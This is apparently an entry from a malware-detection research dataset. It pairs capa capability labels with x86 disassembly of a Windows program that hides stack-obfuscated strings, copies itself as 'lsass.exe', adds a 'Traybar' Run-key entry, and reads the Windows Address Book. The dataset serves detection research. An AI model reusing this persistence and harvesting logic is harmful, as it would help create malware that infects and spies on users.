joyce8/EMBER2024-capa huggingface dataset:
Function at 0x802790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x66
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x77
mov byte [ebp - 0x33], 0x61
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0x5c
mov byte [ebp - 0x2f], 0x4d
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0x63
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x5c
mov byte [ebp - 0x25], 0x57
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x56
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x5c
mov byte [ebp - 0xe], 0x50
mov byte [ebp - 0xd], 0x4f
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x58
mov byte [ebp - 9], bl
mov dword [esi], ebx
mov byte [ebp + 0xb], bl
mov edi, reloc.WS2_32.dll_bind
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x38]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x8028db
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x802867
mov dword [esi], 1
mov byte [ebp + 0xb], bl
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
lea eax, [ebp - 0x38]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x8028cd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x80289b
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x8028d6
Function at 0x8028e6
Capabilities:
Check mutex on windows
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push esi
mov esi, 0x100
push esi
lea eax, [ebp - 0x168]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x168]
push esi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x68]
push eax
call fcn.00806cd1
lea eax, [ebp - 0x168]
push esi
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.00806e83
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00806f2b
push esi
lea eax, [ebp - 0x168]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
xor ecx, ecx
pop esi
mov al, byte [ebp + ecx - 0x10]
mov dl, al
add dl, 2
and dl, 0xf
mov byte [ebp + ecx*2 - 0x168], dl
mov dl, 0xf9
shr al, 4
sub dl, al
and dl, 0xf
mov byte [ebp + ecx*2 - 0x167], dl
inc ecx
cmp ecx, 0x10
jl 0x802951
lea eax, [ebp - 0x168]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
sub eax, 0xb7
neg eax
sbb eax, eax
inc eax
leave
ret
Function at 0x80299e
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Delete file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
lea eax, [ebp - 0x22c]
xor ebx, ebx
push 0x104
push eax
push ebx
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], bl
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [ebp - 0x22c]
add eax, 4
push ecx
push eax
mov dword [ebp - 0x10], eax
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
lea eax, [ebp - 0x128]
jne 0x802a21
push 0x118
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
jmp 0x802a2d
push eax
push 0x118
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
cmp byte [ebp - 0x128], bl
je 0x802ae2
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x128]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x802a61
lea eax, [ebp - 0x128]
push 0x801360
push eax
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x128]
push eax
call esi
lea eax, [ebp - 0x128]
push 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push 3
lea eax, [ebp - 0x128]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
je 0x802ad0
cmp eax, 0xffffffff
je 0x802ad0
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x128]
push ebx
push eax
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jmp 0x802ae0
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x802af1
inc dword [ebp + 8]
cmp dword [ebp + 8], 2
jl 0x802a08
jmp 0x802afd
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x10]
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x802b02
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
mov edi, 0x20006
xor ebx, ebx
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x66
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x77
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x31], 0x63
mov byte [ebp - 0x30], 0x72
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x66
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x5c
mov byte [ebp - 0x29], 0x57
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x56
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xc], 0x54
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x79
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x72
mov byte [ebp - 5], bl
call esi
test eax, eax
je 0x802c18
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push reloc.WS2_32.dll_accept
call esi
test eax, eax
jne 0x802c41
mov esi, dword [ebp + 8]
add esi, 4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push esi
push 1
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x802cb2
Capabilities:
Check if file exists
Create thread
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.00802790
mov dword [esp], 0x801388
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor esi, esi
cmp eax, 0xffffffff
je 0x802cd6
mov dword [ebx], esi
cmp dword [ebx], esi
jne 0x802ce5
push ebx
call fcn.008028e6
test eax, eax
pop ecx
jne 0x802d64
push edi
push ebx
call fcn.0080299e
push ebx
call fcn.00802b02
pop ecx
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ecx
lea eax, [ebp + 8]
push eax
push esi
push esi
push 0x807eac
push esi
push esi
call edi
cmp dword [ebx], esi
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
je 0x802d3c
lea eax, [ebp + 8]
push eax
push esi
push esi
push 0x802c72
push esi
push esi
call edi
call fcn.00802e9c
movzx eax, ax
push 0x5a
cdq
pop ecx
idiv ecx
add edx, 0x2d
imul edx, edx, 0x3e8
push edx
call ebx
call fcn.008046a9
lea eax, [ebp + 8]
push eax
push esi
push esi
push 0x8046bb
push esi
push esi
call edi
call fcn.00804ba1
pop edi
call fcn.00805158
push 0x1f4
call ebx
jmp 0x802d56
pop esi
pop ebx
pop ebp
ret

Function at 0x802d68
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00802e90
push 0x108
lea eax, [ebp - 0x108]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x108]
push eax
call fcn.00802cb2
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x803108
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
jne 0x80315a
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x80316a
push 0x801404
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
jne 0x80316f
push 2
pop eax
leave
ret
lea ecx, [ebp - 4]
push 0
push ecx
call eax
neg eax
sbb eax, eax
neg eax
leave
ret
Function at 0x80317f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
push esi
push 0x3c
push dword [ebp + 8]
call edi
lea eax, [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
push eax
lea eax, [ebp - 8]
push 4
push eax
mov dword [ebp - 4], esi
push dword [ebp + 8]
call ebx
cmp dword [ebp - 4], 4
jne 0x80325e
push esi
push esi
push dword [ebp - 8]
push dword [ebp + 8]
call edi
cmp eax, dword [ebp - 8]
jne 0x80325e
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x20]
push 0x16
push eax
push dword [ebp + 8]
call ebx
cmp dword [ebp - 4], 0x16
jne 0x80325e
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], 0x500
xor eax, 0x4550
test ax, ax
jne 0x80325e
cmp word [ebp - 0x1a], si
je 0x80325e
cmp word [ebp - 0x1a], 0xa
ja 0x80325e
movzx eax, word [ebp - 0xc]
mov ecx, dword [ebp - 8]
push esi
push esi
lea eax, [ecx + eax + 0x18]
push eax
mov dword [ebp - 8], eax
push dword [ebp + 8]
call edi
xor edi, edi
cmp word [ebp - 0x1a], si
mov dword [ebp - 8], esi
jbe 0x80325a
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x48]
push 0x28
push eax
push dword [ebp + 8]
mov dword [ebp - 4], esi
call ebx
cmp dword [ebp - 4], 0x28
jne 0x80325e
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
add eax, ecx
cmp eax, edi
jbe 0x80324e
mov edi, eax
movzx eax, word [ebp - 0x1a]
inc dword [ebp - 8]
cmp dword [ebp - 8], eax
jb 0x803227
mov eax, edi
jmp 0x803260
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x803265
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push dword [ebp + 0xc]
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
cmp byte [ebp - 0x200], 0
je 0x803350
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
push edi
lea eax, [ebp - 0x200]
lea edi, [ebp - 0x200]
push eax
dec edi
call ebx
cmp byte [eax + edi], 0x2f
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
je 0x8032cd
lea eax, [ebp - 0x200]
push eax
call ebx
cmp byte [eax + edi], 0x5c
je 0x8032cd
lea eax, [ebp - 0x200]
push 0x801360
push eax
call esi
call fcn.00802e9c
movzx eax, ax
push 7
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x200]
push dword [edx*4 + 0x80120c]
push eax
call esi
lea eax, [ebp - 0x200]
push 0x8014b0
push eax
call esi
call fcn.00802e9c
movzx eax, ax
push 3
cdq
pop ecx
idiv ecx
sub edx, 0
je 0x80332d
dec edx
je 0x803326
dec edx
lea eax, [ebp - 0x200]
je 0x80331f
push 0x8014ac
jmp 0x803338
push 0x801498
jmp 0x803338
push 0x801494
jmp 0x803332
push 0x801490
lea eax, [ebp - 0x200]
push eax
call esi
lea eax, [ebp - 0x200]
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x803382
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
push 0x400
lea eax, [ebp - 0x400]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov word [ebp - 0x400], ax
mov ax, word [ebp + 0x14]
push 1
mov word [ebp - 0x3fe], ax
call dword [sym.imp.WS2_32.dll_htons]
xor edx, edx
mov word [ebp - 0x3fc], ax
cmp byte [edi], dl
mov word [ebp - 0x3fa], bx
mov word [ebp - 0x3f8], bx
mov word [ebp - 0x3f6], bx
je 0x803440
lea esi, [ebx + edi]
mov eax, ebx
mov cl, byte [esi]
jmp 0x8033fc
cmp cl, 0x2e
je 0x803400
inc eax
mov cl, byte [eax + edi]
test cl, cl
jne 0x8033f3
mov cl, al
sub cl, bl
mov byte [ebp + edx - 0x3f4], cl
inc edx
cmp ebx, eax
jge 0x80342e
sub eax, ebx
lea edi, [ebp + edx - 0x3f4]
mov ecx, eax
add ebx, eax
mov dword [ebp + 0x14], ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
add edx, eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
cmp byte [ebx + edi], 0x2e
jne 0x803438
inc ebx
cmp byte [ebx + edi], 0
jne 0x8033ea
xor ebx, ebx
mov edi, dword [sym.imp.WS2_32.dll_htons]
and byte [ebp + edx - 0x3f4], 0
push 0xf
lea esi, [edx + 0xd]
call edi
mov word [ebp + esi - 0x400], ax
inc esi
push 1
inc esi
call edi
push 0x10
mov word [ebp + esi - 0x400], ax
push dword [ebp + 0xc]
add esi, 2
lea eax, [ebp - 0x400]
push ebx
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
pop edi
test eax, eax
setle cl
pop esi
mov eax, ecx
pop ebx
leave
ret
Function at 0x803b61
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call fcn.0080399e
test eax, eax
pop ecx
jne 0x803b74
jmp fcn.00803a5c
ret

Function at 0x804578
Capabilities:
Create thread

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [0x808250], edi
jmp 0x80459c
push 1
call fcn.00804bac
mov dword [esp], 0x4074
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00803108
test eax, eax
je 0x804588
xor esi, esi
xor ebx, ebx
xor ebp, ebp
xor eax, eax
cmp edi, 1
sete al
push eax
call fcn.00804bac
mov eax, dword [0x80824c]
pop ecx
test eax, eax
mov dword [esp + 0x10], esi
je 0x804610
inc ebx
cmp byte [eax + 5], 0
jne 0x8045db
inc ebp
test esi, esi
je 0x8045d9
mov cl, byte [esi]
cmp cl, byte [eax]
jle 0x8045db
mov esi, eax
mov ecx, dword [eax + 1]
cmp ecx, dword [esp + 0x10]
jb 0x8045e8
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 6]
test eax, eax
jne 0x8045c7
cmp ebx, 0x1fa0
jl 0x804610
call fcn.0080451b
xor edi, edi
cmp ebp, 0x400
jle 0x804612
inc edi
push edi
call fcn.00804bac
pop ecx
jmp 0x804612
xor edi, edi
xor eax, eax
cmp ebp, eax
je 0x80466c
cmp esi, eax
je 0x80466c
cmp dword [0x808250], 0xc
jb 0x80462f
push 0xc8
jmp 0x804596
lea ecx, [esp + 0x14]
mov byte [esi + 5], 1
push ecx
push eax
push esi
push 0x8044dc
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
je 0x80465e
cmp eax, 0xffffffff
je 0x80465e
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x32
jmp 0x804596
mov byte [esi + 5], 2
push 0x320
jmp 0x804596
push 2
pop edi
push eax
call fcn.00804bac
cmp ebx, 3
pop ecx
jl 0x80469f
cmp dword [esp + 0x10], 0
je 0x80469f
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0x15f90
jb 0x80469f
call fcn.00804253
push 0x78
jmp 0x804596
push 0x352
jmp 0x804596

Function at 0x8048a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10010
call fcn.00807ee0
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x804969
cmp eax, 0xffffffff
je 0x804969
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
lea ecx, [ebp - 4]
push ebx
push ecx
mov edi, 0xfffd
lea ecx, [ebp - 0x10010]
push edi
push ecx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
push eax
jmp 0x80494e
cmp eax, 0xffff
jae 0x80495a
add dword [ebp - 8], eax
mov byte [ebp + eax - 0x10010], bl
push eax
lea eax, [ebp - 0x10010]
push eax
call fcn.008046c9
push dword [ebp - 4]
lea eax, [ebp - 0x10010]
push eax
call fcn.008047ac
add esp, 0x10
add dword [ebp - 0xc], eax
jne 0x80493e
cmp dword [ebp - 8], 0x4b000
ja 0x80495a
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x10010]
push edi
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], ebx
call esi
mov eax, dword [ebp - 4]
cmp eax, ebx
jne 0x804900
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor eax, eax
pop esi
jmp 0x80496c
xor eax, eax
inc eax
pop ebx
leave
ret
Function at 0x80496f
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x94
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push bind
push dword [ebp + 0x7c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x64], esi
je 0x804a73
cmp esi, 0xffffffff
je 0x804a73
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push ebx
push ebx
push ebx
push 2
push ebx
push esi
mov dword [ebp + 0x68], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp + 0x60], eax
je 0x804a6e
cmp eax, 0xffffffff
je 0x804a6e
push edi
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov edi, eax
cmp edi, ebx
jne 0x8049f1
push 3
pop ebx
jmp 0x804a57
mov eax, dword [edi + 0x64]
mov ecx, dword [edi + 0x60]
cmp eax, ebx
jbe 0x804a50
mov dword [ebp + 0x70], ecx
mov dword [ebp + 0x6c], eax
mov esi, dword [ebp + 0x70]
push 0x80
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x68]
add esp, 0xc
xor eax, eax
cmp esi, ecx
jae 0x804a47
cmp eax, 0x44
jae 0x804a37
mov dl, byte [esi + edi]
mov byte [ebp + eax - 0x20], dl
cmp byte [esi + edi], bl
je 0x804a37
inc eax
inc esi
inc esi
cmp esi, ecx
jb 0x804a1f
cmp eax, ebx
jbe 0x804a47
lea eax, [ebp - 0x20]
push ebx
push eax
call fcn.0080418a
pop ecx
pop ecx
add dword [ebp + 0x70], 0x44
dec dword [ebp + 0x6c]
jne 0x804a01
push edi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp + 0x60]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
push dword [ebp + 0x64]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
jmp 0x804a76
push 2
pop ebx
jmp 0x804a61
xor eax, eax
inc eax
pop esi
pop ebx
add ebp, 0x74
leave
ret
Function at 0x804a7d
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
lea eax, [ebp - 0x30]
push ebx
xor ebx, ebx
push eax
push 0x20019
lea eax, [ebp - 0x2c]
push ebx
push eax
push reloc.WS2_32.dll_accept
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x66
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x5c
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x66
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x5c
mov byte [ebp - 0x19], 0x57
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x42
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x57
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x42
mov byte [ebp - 0x12], 0x34
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x57
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x20
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x20
mov byte [ebp - 7], 0x4e
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x6d
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x804b9e
push 0x100
lea eax, [ebp - 0x134]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x100
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x134], bl
je 0x804b9e
lea eax, [ebp - 0x134]
push eax
call fcn.0080496f
pop ecx
pop ebx
leave
ret